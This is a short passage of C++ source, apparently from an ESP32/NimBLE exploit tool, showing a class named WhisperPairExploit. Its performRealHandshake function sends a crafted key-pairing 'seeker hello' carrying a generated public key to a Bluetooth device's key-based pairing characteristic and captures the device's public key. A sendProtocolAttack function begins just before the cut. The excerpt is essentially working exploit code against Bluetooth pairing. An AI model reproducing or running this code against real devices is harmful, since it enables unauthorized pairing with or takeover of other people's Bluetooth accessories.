| 974 | } |
| 975 | |
| 976 | bool WhisperPairExploit::performRealHandshake(NimBLERemoteCharacteristic *kbpChar, uint8_t *devicePubKey) { |
| 977 | if (!kbpChar) return false; |
| 978 | uint8_t public_key[65]; |
| 979 | size_t pub_len = 65; |
| 980 | if (!crypto.generateValidKeyPair(public_key, &pub_len)) return false; |
| 981 | |
| 982 | uint8_t seeker_hello[67] = {0}; |
| 983 | seeker_hello[0] = 0x00; |
| 984 | seeker_hello[1] = 0x00; |
| 985 | memcpy(&seeker_hello[2], public_key, 65); |
| 986 | |
| 987 | bool success = kbpChar->writeValue(seeker_hello, 67, true); |
| 988 | if (!success) return false; |
| 989 | |
| 990 | delay(200); |
| 991 | try { |
| 992 | std::string response = kbpChar->readValue(); |
| 993 | if (response.length() >= 67) { |
| 994 | const uint8_t *respData = (const uint8_t *)response.data(); |
| 995 | if (respData[0] == 0x00 && respData[1] == 0x00) { |
| 996 | memcpy(devicePubKey, &respData[2], 65); |
| 997 | return true; |
| 998 | } |
| 999 | } |
| 1000 | } catch (...) { return false; } |
| 1001 | return false; |
| 1002 | } |
| 1003 | |
| 1004 | bool WhisperPairExploit::sendProtocolAttack( |
| 1005 | NimBLERemoteCharacteristic *kbpChar, const uint8_t *devicePubKey |
nothing calls this directly
no test coverage detected